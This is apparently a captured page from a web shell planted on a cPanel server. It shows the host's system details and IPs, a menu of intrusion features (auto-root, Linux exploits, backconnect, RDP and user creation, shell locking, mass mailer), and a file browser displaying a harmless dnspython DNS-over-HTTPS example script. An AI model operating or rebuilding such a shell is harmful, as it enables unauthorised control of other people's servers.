Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.100.120
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-dnspython /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
async_dns.py
702
B
-rw-r--r--
ddns.py
1.18
KB
-rwxr-xr-x
doh-json.py
2.95
KB
-rwxr-xr-x
doh.py
1.16
KB
-rwxr-xr-x
e164.py
114
B
-rwxr-xr-x
ecs.py
429
B
-rwxr-xr-x
mx.py
189
B
-rwxr-xr-x
name.py
430
B
-rwxr-xr-x
query_specific.py
815
B
-rw-r--r--
receive_notify.py
1.01
KB
-rw-r--r--
reverse.py
1.39
KB
-rwxr-xr-x
reverse_name.py
139
B
-rwxr-xr-x
xfr.py
340
B
-rwxr-xr-x
zonediff.py
11.53
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : doh.py
#!/usr/bin/env python3 # # This is an example of sending DNS queries over HTTPS (DoH) with dnspython. # Requires use of the requests module's Session object. # # See https://2.python-requests.org//en/latest/user/advanced/#session-objects # for more details about Session objects import requests import dns.message import dns.query import dns.rdatatype def main(): where = '1.1.1.1' qname = 'example.com.' # one method is to use context manager, session will automatically close with requests.sessions.Session() as session: q = dns.message.make_query(qname, dns.rdatatype.A) r = dns.query.https(q, where, session=session) for answer in r.answer: print(answer) # ... do more lookups where = 'https://dns.google/dns-query' qname = 'example.net.' # second method, close session manually session = requests.sessions.Session() q = dns.message.make_query(qname, dns.rdatatype.A) r = dns.query.https(q, where, session=session) for answer in r.answer: print(answer) # ... do more lookups # close the session when you're done session.close() if __name__ == '__main__': main()
Close